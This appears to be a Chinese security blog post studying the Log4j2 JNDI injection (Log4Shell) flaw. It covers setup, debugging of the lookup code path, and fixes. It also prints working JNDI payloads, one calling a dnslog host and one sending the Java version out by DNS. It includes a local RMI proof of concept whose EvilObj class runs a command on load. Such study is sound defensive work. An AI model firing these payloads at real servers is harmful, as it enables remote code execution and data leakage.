log4j2漏洞学习

Sl0th Lv4

log4j2漏洞学习

log4j与log4j2区别

配置文件

log4j用.properties的文件作为主配置文件的,而现在的log4j 2则已经弃用了这种方式,采用的是.xml,.json或者.jsn这种方式来做

核心jar包

log4j只需要引入一个jar包即可,

1
2
3
4
5
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>

而log4j 2则是需要2个核心

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.5</version>
</dependency>

log4j和log4j 2的包路径是不同的,甚至可以在一个项目中使用2个版本的日志输出

文件渲染

log4j想要生效,我们需要在web.xml中进行配置

log4j2就比较简单,以maven工程为例,我们只需要把log4j2.xml放到工程resource目录下就行了。大家记住一个细节点,是log4j2.xml,而不是log4j.xml,xml名字少个2都不行

log调用

log4j

1
2
import org.apache.log4j.Logger;
private final Logger LOGGER = Logger.getLogger(Test.class.getName());

log4j2

1
2
3
4
import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
private static Logger logger = LogManager.getLogger(Test.class.getName());

踩坑记录

如果log4j.properties一直不起作用,将其复制到target的classesxia

image-20221002140908570
image-20221002140908570

一些配置教训

注意版本对应

如果是2021.3的idea,不要使用高版本maven,应使用3.5.4

引入依赖

第一次引入会因为没有下载而爆红,点击刷新即可

image-20221002141921173
image-20221002141921173

导包注意名称

1
2
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

2.14.0 log4j导包

程序包 com.sun.jndi.rmi.registry 不可见

注意:还是得换成jdk1.8

解决,在pom.xml中加入以下标签

1
2
3
4
5
6
7
8
9
10
11
12
13
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.1</version>
<configuration>
<source>${java.version}</source>
<target>${java.version}</target>
<encoding>UTF-8</encoding>
<compilerArguments>
<bootclasspath>${java.home}/lib/rt.jar</bootclasspath>
</compilerArguments>
</configuration>
</plugin>

注意:plugin标签要包裹在plugins中,plugins要包裹在build中

基本使用

一般将日志对象定义为当前类等静态私有成员

使用占位符{}打印日志

1
2
3
4
5
public static void main(String[] args) {
String user = "bob";

logger.error("{} is not exited!",user);
}

成功打印

image-20221002151825195
image-20221002151825195

lookups

可以通过${xxx:xxx}等形式快速获取运行应用容器的docker属性,环境变量,日志事件,Java应用程序环境信息等内容。

漏洞及分析

影响版本范围

2.0-beta9 <= Apache Log4j <= 2.15.0-rc1(1.x不受影响)

需要导入log4j-core才行

先用2.14.0做实验(JDK 1.8下)

原理:JNDI注入

利用lookups获取敏感信息

输出JDK版本

1
LOGGER.error("Java version :{}","${java:version}");

image-20221002153617894
image-20221002153617894

原因

组件中lookup功能的实现类JndiLookup的设计缺陷导致,这个类是在Log4j-core-xxx.jar,所以这个漏洞和Log4j-core有关

image-20221002153838589
image-20221002153838589

在调用lookup方法处打断点

JNDI lookup的方法调用在InitialContext.java中

image-20221002154141225
image-20221002154141225

Debug过程

测试代码

1
logger.error("野猪热恋${jndi:ldap://atf6sq.dnslog.cn}");

直接传入的就是${}中的内容(没有过滤),也没有传入其他部分

image-20221002154417043
image-20221002154417043

查看执行链过程,该lookup方法后续在JndiLookup中被调用

image-20221002154907000
image-20221002154907000

过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
JndiLookup.java:
var6 = Objects.toString(jndiManager.lookup(jndiName), (String)null);

JndiManager.java:
public T lookup(final String name) throws NamingException {
return this.context.lookup(name);
}

Context.java:
public Object lookup(String name) throws NamingException;

InitialContext.java
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}

之后处理变量的工作交给了StrSubstitutor这个类

之后又调用了MessagePatternConverter这个类的format方法

  1. 首先是noLookups这个属性,设置成了false,导致下面代码的执行(现在漏洞修复将这个noLookups设置成true)
  2. 后面的if明显是要定位到${(并且是连续的),如果有这两个字符就去replace函数替换
  3. config.getStrSubstitutor()就是上面说的StrSubstitutor

image-20221002160354461
image-20221002160354461

Log4j将要输出的日志拼接成字符串之后,它会去判断字符串中是否包含${和},如果包含了,就会当作变量交给StrSubstitutor这个类去处理。

StrSubstitutor中resolveVariable方法获取${}中字符串

image-20221002161555507
image-20221002161555507

可以看到resolver中的内容,可以看到Lookups定义了12种处理类型,如果能匹配到这几种处理类型,就交给它们去处理,其他的都会交给defaultLookup去处理。

image-20221002161942852
image-20221002161942852

如果我们的日志内容中有${jndi:rmi://127.0.0.1:1099/hello}这些内容,去掉${和}传递给resolver的就是jndi:rmi://127.0.0.1:1099/hello。resolver会将第一个”:”之前的内容和lookups做匹配,我们这里获取到的是jndi,就会将剩余部分jndi:rmi://127.0.0.1:1099/hello交给jdni的处理器JndiLookup去处理。

image-20221002162800611
image-20221002162800611

传入是信息debug标注,最好用的lookup.lookup也是JNDI的lookup

image-20221002162941649
image-20221002162941649

从而得到了lookup的结果

noLookups相关

调用formate

image-20221002171504977
image-20221002171504977

赋值操作(位于 MessagePatternConverter类中)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 int noLookupsIdx = this.loadNoLookups(options);
this.noLookups = Constants.FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS || noLookupsIdx >= 0;

private int loadNoLookups(final String[] options) {
if (options != null) {
for(int i = 0; i < options.length; ++i) {
String option = options[i];
if ("nolookups".equalsIgnoreCase(option)) {
return i;
}
}
}

return -1;
}

由于调用 MessagePatternConverter类的format方法 没有传入options且config非空,并且环境变量也没有设置因此noLookups为false

image-20221002190435592
image-20221002190435592

漏洞检测方法

通过dnslog,还能查看jdk版本是否支持RMI或者ldap服务

1
${jndi:dns://${sys:java.version}.dnslog/}

修复

1、升级到2.17.0版本及以上

2、参数、环境设置

  • 设置jvm参数:-Dlog4j2.formatMsgNoLookups=true,

  • 设置系统环境变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS=true

JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA

JNDI注入

JDK:11.0.15

简介

JNDI相当于自己做一个服务,如果访问了会直接在放我这本机上执行方法中的代码

image-20221002194642057
image-20221002194642057

简单复现

结构

tststst
tststst

RMIServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.cui.log4jtest.rmi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {

public static void main(String[] args) throws Exception {
try{
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();

System.out.println("RMI Listener 1099 port");
Reference reference = new Reference("com.cui.log4jtest.rmi.EvilObj", "com.cui.log4jtest.rmi.EvilObj", null);

ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.rebind("test", referenceWrapper);

}catch (Exception e){
e.printStackTrace();
}
}
}

EvilObj.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class EvilObj implements ObjectFactory {
static {
System.out.println("open a Calculator!");
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
//这里可以写任意代码,比如木马程序,病毒程序,死循环,后门程序等等。
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

log4jDemo1.java

1
2
3
4
5
6
7
8
9
10
11
12
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class log4jDemo1 {
private static Logger logger = LogManager.getLogger();

public static void main(String[] args) {
try {
String str = "${jndi:rmi://127.0.0.1:1099/test}";
logger.info("输出的信息是:{}", str);
}catch (Exception e){}
}
}

先启动RMIServer再启动log4jDemo1就会弹出计算器

image-20221002215727110
image-20221002215727110

image-20221002215800340
image-20221002215800340

  • 标题: log4j2漏洞学习
  • 作者: Sl0th
  • 创建于 : 2022-12-27 23:29:13
  • 更新于 : 2024-11-11 18:23:06
  • 链接: http://sl0th.top/2022/12/27/log4j漏洞学习/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论